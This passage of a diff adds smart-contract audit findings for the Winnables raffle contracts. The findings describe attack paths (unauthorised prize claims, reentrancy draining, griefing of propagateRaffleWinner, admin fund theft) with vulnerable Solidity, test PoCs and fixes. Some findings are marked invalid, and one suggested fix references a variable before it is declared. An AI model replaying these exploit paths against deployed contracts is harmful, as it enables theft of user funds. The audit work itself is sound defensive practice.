(msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` \ No newline at end of file diff --git a/001/512.md b/001/512.md new file mode 100644 index 0000000..9758ea2 --- /dev/null +++ b/001/512.md @@ -0,0 +1,43 @@ +Howling Crimson Okapi + +High + +# Incorrect Balance Check in withdrawTokens Function Prevents Token Withdrawal + +### Summary + +The withdrawTokens function fails to properly validate the token balance before attempting to withdraw tokens, which can prevent the successful withdrawal of tokens from the contract. + +Line of code: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295C38-L295C57 + +### Root Cause + +The condition used to check if the withdrawal amount is greater than the contract’s token balance is incorrect. Specifically, the check _if (amount < balance)_ is used, which is flawed because it allows the function to proceed only if the amount to withdraw is more than the contract's token balance. This means that the function will revert with _InsufficientBalance()_ if the withdrawal amount is less to the balance, what should correct. + +### Internal pre-conditions + +1. The contract holds a balance of ERC20 tokens. +2. The _withdrawTokens_ function is called + +### External pre-conditions + +1. The tokenAddress must be a valid ERC20 token contract. +2. The token contract must be deployed and have a balance of tokens within the _WinnablesTicketManager_ contract. + +### Attack Path + +1. An admin attempts to withdraw tokens by calling _withdrawTokens_ with an amount that is less than the token balance. +2. The function performs an incorrect balance check and reverts the transaction, preventing any token withdrawal. + +### Impact + +Due to the incorrect balance check, the withdrawTokens function will not allow any tokens to be withdrawn if the amount specified is less than the balance. This prevents the contract from recovering any tokens accidentally sent to it, which could lead to loss of funds and operational issues if tokens need to be reclaimed or reallocated. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/513.md b/001/513.md new file mode 100644 index 0000000..5ebefce --- /dev/null +++ b/001/513.md @@ -0,0 +1,96 @@ +Brave Mahogany Lizard + +High + +# `WinnablesPrizeManager::claimPrize` function checks `msg.sender` is valid or not after transferring the tokens, anyone can claim prize which is not desired. + +## Summary +The check for correct `msg.sender` is performed after the transferring of prize, which is of no use as the prize is already being transferred. + +## Vulnerability Detail +The `WinnablesPrizeManager::claimPrize` function: +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; }//@note no overflow/underflow check + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + //@audit this check should be performed before doing the transfers, + //otherwise the transfers will already be done and this check would be meaningless + // as it is located in a different `if` block it won't effect the above `if` block + // which is transferring the tokens. + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +The function checks if the `msg.sender` is the winner or not here: +```solidity +if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +``` +Which is done after the transfer takes place here: +```solidity + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +``` + +**POC** : +Alice is real winner +Bob is not the winner +Bob calls the `claimPrize` function as it is marked as `external` +Bob claims the prize and rugs Alice. + +## Impact +Impact: High +Likelihood: High, as anyone can call this function as it's marked `external` + +Anyone can call this function and claim prize without being the winner, which breaks the core functionality of this protocol. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation +Perform the check prior to transferring the prize. +E.g. +```solidity + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +``` \ No newline at end of file diff --git a/001/514.md b/001/514.md new file mode 100644 index 0000000..8956bf9 --- /dev/null +++ b/001/514.md @@ -0,0 +1,47 @@ +Tall Ultraviolet Porcupine + +Medium + +# Attacker can block admin from creating a raffle, potentially disrupting the protocol + +### Summary + +After the admin locks assets for prizes in the prize manager and the CCIP message is received in the ticket manager, which changes the raffle status to `PRIZE_LOCKED`, two actions can occur: +1. The admin creates a raffle using `createRaffle`. +2. Any user cancels the raffle using `cancelRaffle`. + +If the `cancelRaffle` function is executed before `createRaffle`, it will permanently block the admin's ability to create a raffle for the given raffleId, forcing the admin to re-lock the prizes and attempt to create the raffle again. This scenario could potentially repeat indefinitely, preventing the successful creation of the raffle. + +### Root Cause + +The ability for any user to execute `cancelRaffle` immediately after a raffle is initiated. + +### Internal pre-conditions + +1. The admin must lock a prize in the `WinnablesPrizeManager.sol` contract. +2. The `WinnablesTicketManager.sol` must receive the CCIP message and change the raffle status to `PRIZE_LOCKED`. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker monitors the change in raffle status on Avalanche by observing the mempool or listening for the `RafflePrizeLocked` event. +2. After the status change, the attacker calls the `cancelRaffle` function, which cancels the raffle and unlocks the assets designated for prizes. + +### Impact + +1. The protocol incurs a loss due to CCIP transmission fees in `WinnablesTicketManager` caused by the attacker. +2. The protocol also incurs losses related to re-locking the assets for prizes in `WinnablesPrizeManager`. +3. The core functionality of the application (raffle creation) will not work properly—either no new raffles will be created, or only those for which the admin manages to call `createRaffle` in time will succeed. + + +### PoC + +_No response_ + +### Mitigation + +The `createRaffle` function should have execution priority over `cancelRaffle`. This could be implemented by adding a restriction that only the admin can cancel a raffle when its status is `PRIZE_LOCKED`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L436-L437 diff --git a/001/515.md b/001/515.md new file mode 100644 index 0000000..9148439 --- /dev/null +++ b/001/515.md @@ -0,0 +1,34 @@ +Rhythmic Coconut Bee + +Invalid + +# [Medium] `WinnablesTicketManager.sol::withdrawTokens()` is unusable. + +**Description:** The function takes in `tokenAddress` to get the balance of the token in this contract so it can transfer to the admin. Then takes in the `amount` of token to transfer to user. However it will revert if the amount is less than the balance. + +```javascript + if (amount < balance) revert InsufficientBalance(); line 295 +``` + +This function is totally unusable since it reverts if amount is less than balance and if amount is greater than balance, the transfer will fail since there isn't enough funds. + +```solidity + token.safeTransfer(msg.sender, amount); line 296 +``` + +**Impact:** The functions purpose is to return accidentally transfered funds but because of this bug the funds will be locked in the contract forever + + /// @notice (Admin) Withdraw Link or any ERC20 tokens accidentally sent here line 290 + +**Recommended Mitigation:** + +```diff +solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/516.md b/001/516.md new file mode 100644 index 0000000..68f7c12 --- /dev/null +++ b/001/516.md @@ -0,0 +1,65 @@ +Decent Scarlet Squid + +High + +# All ethers from the WinnablePrizeManager contract can be drained + +## Summary +All funds from the `WinnablePrizeManager` contract can be drained through a reentrancy attack. + +## Vulnerability Detail +When a user is picked as a winner, he can call the `claimPrize` function to receive his reward from the raffle. If the raffle is of type ETH, the ETHs are sent directly to the `msg.sender`. + +`_sendETHPrize(_ethRaffles[raffleId], msg.sender);` + +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { + //@note winner = msg.sender + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +After the ethers are sent, the status of the raffle prize is marked as `CLAIMED`, but a malicious user can exploit the contract by using a reentrancy attack to drain all ethers from the contract by repeatedly calling the `claimPrize` function until all ETHs are drained. + +The `check-effects-interactions` practice is not well implemented because if the user is a smart contract, he can make multiple calls to the function again because the status is updated at the end of the function. + +## Impact +All ethers from the `WinnablePrizeManager` contract can be drained. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 + +## Tool used + +Manual Review + +## Recommendation +Make the following changes: + +```diff + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/517.md b/001/517.md new file mode 100644 index 0000000..a1f8b98 --- /dev/null +++ b/001/517.md @@ -0,0 +1,22 @@ +Joyous Fuzzy Aardvark + +High + +# Indefinite Locking of Future ETH Due to `_lockedETH` Not Updated in `refundPlayers` Function in `WinnablesTicketManager` Contract + +## Summary +The `refundPlayers` function in the `WinnablesTicketManager` contract does not deduct total amount refunded from the `_lockedETH` variable at the end of its execution. This oversight results in future ETH from ticket purchases being unnecessarily locked in the contract, reducing the available balance for future operations. +## Vulnerability Detail +The `refundPlayers` function processes refunds for participants of a canceled raffle. However, it fails to update the `_lockedETH` variable to reflect the amount of ETH that has been refunded. As a result, the contract continues to consider the refunded ETH as locked, even though it has already been sent out. This causes future ETH from ticket purchases to be locked indefinitely as `_lockedETH` is not accurately decremented. When new ETH is received from future ticket purchases, it will be considered locked because `_lockedETH` is not accurately decremented. + +## Impact +The failure to decrement `_lockedETH` after refunds locks future ETH purchases indefinitely, reducing available funds. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 +## Tool used + +Manual Review + +## Recommendation +Update the `refundPlayers` function to properly adjust the `_lockedETH` variable by deducting the total amount refunded. diff --git a/001/518.md b/001/518.md new file mode 100644 index 0000000..6c874dd --- /dev/null +++ b/001/518.md @@ -0,0 +1,94 @@ +Deep Crimson Cuckoo + +Medium + +# Raffle Cancellable at Minimum Ticket Threshold + +## Summary + +The `WinnablesTicketManager` contract allows for the cancellation of a raffle even when the number of tickets sold has reached the minimum threshold. This unexpected behavior contradicts user expectations and creates a potential for manipulation. + +## Vulnerability Detail + +In the `WinnablesTicketManager` contract, there's an overlap in the conditions for canceling and drawing a raffle when the exact minimum threshold of tickets is sold. This is evident in the following code snippets: + +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + // ... + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + // ... +} + +function _checkShouldCancel(uint256 raffleId) internal view { + // ... + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + // ... +} +``` + +When the number of tickets sold (`supply`) exactly equals `raffle.minTicketsThreshold`, both of these conditions are satisfied: +1. The raffle is eligible for drawing (`currentTicketSold >= raffle.minTicketsThreshold`) +2. The raffle can still be canceled (`supply <= raffle.minTicketsThreshold`) + +This creates a situation where a raffle that has met its minimum threshold and is eligible for a draw can unexpectedly be canceled. + +## Impact + +This vulnerability has several potential impacts: + +1. **Manipulation Risk**: An actor with the ability to front-run transactions could potentially manipulate the outcome by choosing to cancel or allow the draw based on their preferences. + +2. **Race Condition**: This overlap creates a potential race condition between canceling and drawing the raffle, where the outcome depends on which transaction is processed first. + +3. **User Trust**: Participants who purchase tickets expecting the raffle to proceed once the minimum threshold is met may lose trust in the system if the raffle can still be canceled. + +This edge case represents an unnecessary and easily mitigable risk that could lead to unexpected outcomes or potential manipulation. + + +## Proof of Concept +```solidity +function testCancelRaffleAtExactMinThreshold() public { + uint256 raffleId = 1; + uint32 minThreshold = 100; + + // Create a raffle + ticketManager.createRaffle(raffleId, block.timestamp, block.timestamp + 1 days, minThreshold, 1000, 10); + + // Sell exactly minThreshold tickets + for (uint i = 0; i < minThreshold; i++) { + ticketManager.buyTickets(raffleId, 1, block.number + 100, validSignature); + } + + // At this point, both of these calls would be valid: + assert(ticketManager.shouldDrawRaffle(raffleId)); // This passes + ticketManager.cancelRaffle(prizeManagerAddress, chainSelector, raffleId); // This also succeeds + + // The raffle ends up canceled despite meeting the minimum threshold + (,,,,,, RaffleStatus status,) = ticketManager.getRaffle(raffleId); + assert(status == RaffleStatus.CANCELED); +} +``` + + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L422-L441 + +## Tool used + +Manual Review + + +## Recommendation + +Modify the cancellation condition to strictly less than the minimum threshold: + + ```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + // ... + if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + // ... + } + ``` + +By implementing this change the contract can provide a more predictable and fair experience for raffle participants, eliminating the unexpected cancellation scenario and reducing the risk of manipulation. \ No newline at end of file diff --git a/001/519.md b/001/519.md new file mode 100644 index 0000000..a3860cb --- /dev/null +++ b/001/519.md @@ -0,0 +1,61 @@ +Unique Syrup Swallow + +Medium + +# Malicious user will prevent prize claiming for fulfilled raffles + +### Summary + +Trust of user input on a permissionless function (`WinnablesTicketManager.propagateRaffleWinner`) will cause raffles to be propagated on the `WinnablesTicketManager` without the prize being claimable on `WinnablesPrizeManager` as a malicious user could call this function on a fulfilled raffle and supply an incorrect `prizeManager` address and/or incorrect `chainSelector` value. + +### Root Cause + +The choice to make `propagateRaffleWinner` ([WinnablesTicketManager:L334](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334)) an unprivileged function is a mistake as it requires two parameters which are trusted and not verified: `chainSelector` and `prizeManager`. + +### Internal pre-conditions + +An ongoing raffle must have a `FULFILLED` status. + +### External pre-conditions + +None. + +### Attack Path + +1. An unprivileged user calls `TicketManager.propagateRaffleWinner`, supplying the `raffleId` of a fulfilled raffle; any address for `prizeManager` other than the actual address; and/or any value for `chainSelector` other than `1`. This may require front-running. +2. The raffle's `status` is set to `RaffleStatus.PROPAGATED` and a CCIP message is sent with the supplied `prizeManager` and `chainSelector` values. +3. As the values in the CCIP message are incorrect, `WinnablesPrizeManager.ccipReceive` will not be called by the CCIP router on Ethereum mainnet. This means that `_rafflePrize[raffleId].winner` will not be set, and the winner will not be able to claim their prize. + +### Impact + +The raffle winner cannot claim their prize, which is now permanently locked in the `WinnablesPrizeManager` contract, and the attacker doesn't gain anything (griefing). + +### PoC + +The test case below can be inserted into `test/TicketManager.js` in place of `'Should be able to propagate when the winner is drawn'` ([line 786](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L786)): + +```javascript + it('Unprivileged user can propagate raffle with incorrect values when the winner is drawn, preventing correct propagation', async () => { + const { events } = await (await manager.connect(signers[2]).propagateRaffleWinner(signers[2].address, 2, 1)).wait(); + expect(events).to.have.lengthOf(3); + const ccipEvent = ccipRouter.interface.parseLog(events[0]); + + // incorrect values in CCIP message + expect(ccipEvent.args.chain).to.eq(2); // incorrect chainSelector + expect(ccipEvent.args.receiver).to.eq('0x' + signers[2].address.toLowerCase().slice(-40).padStart(64, '0')); + expect(ccipEvent.args.data).to.have.lengthOf(108); // incorrect receiver address + const drawnWinner = ethers.utils.getAddress('0x' + ccipEvent.args.data.slice(-40)); + expect(buyers.find(b => b.address === drawnWinner)).to.not.be.undefined; + expect(ccipEvent.args.data.slice(0, 68)).to.eq('0x010000000000000000000000000000000000000000000000000000000000000001'); + + // Subsequent attempt to propagate raffle with legitimate parameters reverts with InvalidRaffleStatus as raffle is already propagated + await expect(manager.propagateRaffleWinner(counterpartContractAddress, 1, 1)).to.be.revertedWithCustomError(manager, 'InvalidRaffleStatus'); + }); +``` + +### Mitigation + +Two possible mitigations are: + +1. `Winnables.TicketManager.propagateRaffleWinner` could be made into an admin-only function. +2. `prizeManager` and `chainSelector` could be converted to state variables. These could be set at contract creation and/or through admin-only setter functions. `Winnables.TicketManager.propagateRaffleWinner` could then be altered to accept only one parameter: `raffleId`. \ No newline at end of file diff --git a/001/522.md b/001/522.md new file mode 100644 index 0000000..c0ec618 --- /dev/null +++ b/001/522.md @@ -0,0 +1,46 @@ +Polite Canvas Eagle + +High + +# `_lockedETH` is never decremented on the cancellation of a raffle. + +## Summary +`_lockedETH` in `WinnablesTicketManager` is never decremented on the cancellation of a raffle. This can lead to admin not being able to get the revenue from ticket sales. + +## Vulnerability Detail +When a raffle is cancelled, using the `cancelRaffle` function, `_lockedETH` is never decremented. For instance, when `cancelRaffle` is called and it sends the CCIP message to the `WinnablesPrizeManager` contract, it calls the `_cancelRaffle` function which decrements a similar variable (_ethLocked) in `WinnablesPrizeManager`: + +```solidity + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } +``` +Even when a winner is declared, `_lockedEth` is decremented in the `propagateRaffleWinner` function. Similar behaviours must be expected in `WinnablesTicketManager` as well, but `_lockedETH` is never decremented. + +Let's say a raffle has been cancelled. We now know that `_lockedETH` is not decremented. So, this allows players of that raffle to get refunded as the RaffleStatus is now CANCELED. Once the players are refunded, the actual balance (`address(this).balance`) of the `WinnablesTicketManager` decreases, but `_lockedETH` does not decrease. + +So, when the admin calls the `withdrawETH` function to get the revenue from the ticket sales of a previous successful raffle, maybe consider that the revenue from that previous raffle is less than the current amount that was refunded for the current raffle, in that case `address(this).balance` will be less than `_lockedETH` as `_lockedETH` is not decremented on raffle cancellation. + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +Meaning the `balance` would be a very huge value as it is in an unchecked block and the subtraction `address(this).balance - _lockedETH` underflows. So, when eventually `_sendETH` is called, it would revert as the contract would not have such a high balance. + +## Impact +Admin cannot get the revenue from ticket sales. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## Tool used + +Manual Review + +## Recommendation +Decrease `_lockedETH` on Raffle cancellation. \ No newline at end of file diff --git a/001/524.md b/001/524.md new file mode 100644 index 0000000..91f01a6 --- /dev/null +++ b/001/524.md @@ -0,0 +1,114 @@ +Joyful Golden Cod + +High + +# Admin can steal funds from ticket sales, and rug raffle participants + +## Summary + +As per contest's README: "The protocol working as expected relies on having an admin creating raffles. It should be expected that the admin will do their job. However it is not expected that the admin can steal funds that should have ended in a raffle participant’s wallet in any conceivable way." + +Essentially admins are trusted roles, but in this context if an admin can steal funds from ticket sales, it will be evaluated as a valid issue. This is also confirmed by the sponsor. Describing how this scenario can happen below: + +## Vulnerability Detail + +Will explain how the CCIP functionality is involved in the project: + +1. Raflle admin locks funds on the prize manager, this sends a cross-chain message to the ticket manager contract, allowing the raffle creations there +2. Then on the ticket manager contract, when a winner is selected it sends a message back to the prize manager, with the necessary information, which allow the selected user to claim his prize + +If we take a more detailed look on the codebase `2.` is happening on the `WinnablesTicketManager::propagateRaffleWinner()` function: + +```javascript +/// @notice (Public) Send a cross-chain message to the Prize Manager to + /// mark the prize as claimable by the winner + /// @param raffleId ID of the Raffle we wish to draw a winner for + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +@> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { +@> _lockedETH -= raffle.totalRaised; + } + } +``` + +If we notice this function can be called by anyone and the prize manager address is an input parameter, that means it can be set as any address, and in case that the function call is successful it unlocks the ETH collected from ticket sales, so the admin can withdraw them. + +Here is a very detailed example, clarifying the exploit: + +1. Raffle admin locks funds and send a message, giving green light for raffle creations +2. Winner is selected, now the propagate winner function can be called +3. Beforehand a malicious admin has created a mock message receiver contract, which will simply allow messages to be received successfully +4. The admin calls `propagateRaffleWinner()` with the `prizeManager` parameter as the address of the mock message receiver contract +5. The message is received successfully, but since no funds will be locked on it, no winner can claim, only the information as raffle id and winner will be stored there +6. Subsequently the ETH from ticket sales will be unlocked +7. Admin rugs, as there will be no prize to claim, and steals from honest users + + +## Following the withdraw scenario: + + - Users buy tickets, `_lockedETH` and `raffle.totalRaised` get incremented by the `msg.value` sent, lets say total 1000e18 + - `address(this).balance` = `1000e18` + - `_lockedETH` = `1000e18` + - `raffle.totalRaised` = `1000e18` + +```javascript + function buyTickets( + ... + ) external payable { + ... + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } +``` + + - `propagateRaffleWinner()` is called: + +```javascript +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + ... + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + + - `_lockedETH` becomes `0` + - admin calls `withdrawETH`: + +```javascript +/// @notice (Admin) Withdraw ETH from a canceled raffle or ticket sales + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + + - `balance` = 1000e18 - 0 = 1000e18 + - Successfully steals funds from ticket sales, without giving a raffle prize + +## Impact + +- High: as admin will still be on profit from executing the attack, even after the locked value and `LINK` subscription for Chainlink services + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L340-L344 + +## Tool used + +Manual Review + +## Recommendation + +To keep the code with minimal changes and assure maximum security, i would say restrict the admin from being able to call `propagateRaffleWinner()`. This way the responsibility falls on users shoulders but they will be incentivized to make the call in order to get their reward. \ No newline at end of file diff --git a/001/525.md b/001/525.md new file mode 100644 index 0000000..6047637 --- /dev/null +++ b/001/525.md @@ -0,0 +1,44 @@ +Glorious Velvet Coyote + +High + +# [H-1] Admin funds will get locked due to unupdated `_lockedETH` for cancelled raffles + +**File:** [WinnablesTicketManager.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) +## Description: +`_lockedETH` is used to keep track of the total amount of ETH locked in the contract. It's value increases when a user buys ticket for a raffle with the amount of ETH user sent. When a raffle ends successfully, `_lockedETH` decreases by the `totalRaised` amount for that raffle. However, if there are not enough tickets sales, the raffle can be cancelled and participants can claim their funds back. The issue arises because `_lockedETH` is not updated while refunds are processed by calling `refundPlayers()` function. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + //@audit - _lockedETH is not updated + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +As a result, `_lockedETH` may incorrectly reflect more ETH than is actually locked in the contract. This can lead to a situation where the admin will not be able to withdraw the equivalant amount of ETH that was raised for a raffle that got cancelled in subsequent successful raffles. This will also lead to `withdrwaETH()` function to revert as it usesto unchecked subtraction to calculate the amount of ETH to be withdrawn. + +## POC: +- Consider a raffle raised 100ETH but was not able to reach `minTicketsThreshold` and got cancelled. The `_lockedETH` will not be updated after the refunds are processed and will still remain 100ETH. +- Now, if a new raffle is created and raised 25 ETH and ended successfully with a winner. The admin should be able to withdraw the 25 ETH raised in this raffle. However, due to the incorrect `_lockedETH` (which still includes the 100 ETH from the cancelled raffle), the withdrawal attempt fails, triggering an overflow/underflow error because of unchecked subtraction of `balance` (25 ETH) and `_lockedETH` (75 ETH) in `withdrawETH()` function. +- If next raffle would have raised more than `_lockedETH` (100 ETH), the admin would have been able to withdraw the amount above value of `_lockedETH` but ETH value equivalent to `_lockedETH` would be locked in the contract. + +## Liklihood: +High, Everytime a raffle is cancelled, the `_lockedETH` will not be updated. + +## Impact: +High, Admin will not be able to withdraw the amount of ETH that was raised for a raffle that got cancelled. + +## Tool used +Manual Review + +## Mitigation: +Update the `_lockedETH` with the amount of refund that is being done in `refundPlayers()` function. diff --git a/001/526.md b/001/526.md new file mode 100644 index 0000000..7861243 --- /dev/null +++ b/001/526.md @@ -0,0 +1,84 @@ +Crazy Porcelain Mole + +Medium + +# Prize theft in the `claimPrize()` function. + +## Summary +The `claimPrize()` function in the `WinnablesPrizeManager.sol` contract is vulnerable to prize theft related to the draw, any user can call the function and receive the prize without having won the draw. + +## Vulnerability Detail +Let's see in the `claimPrize()` function, it doesn't know the CEI pattern. And the verification that the caller must be the real winner of the draw is at the end of the function, right after an external call. + +```javascript +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else { + revert InvalidRaffle(); + } +@> if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +## Impact +Any user can call the `claimPrize()` function and benefit by receiving NFT, Token, or ETH. According to the type of draw. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + + +## Tool used +Manual Review + +## Recommendation +Change the lines : + +```diff +function claimPrize(uint256 raffleId) external { ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + 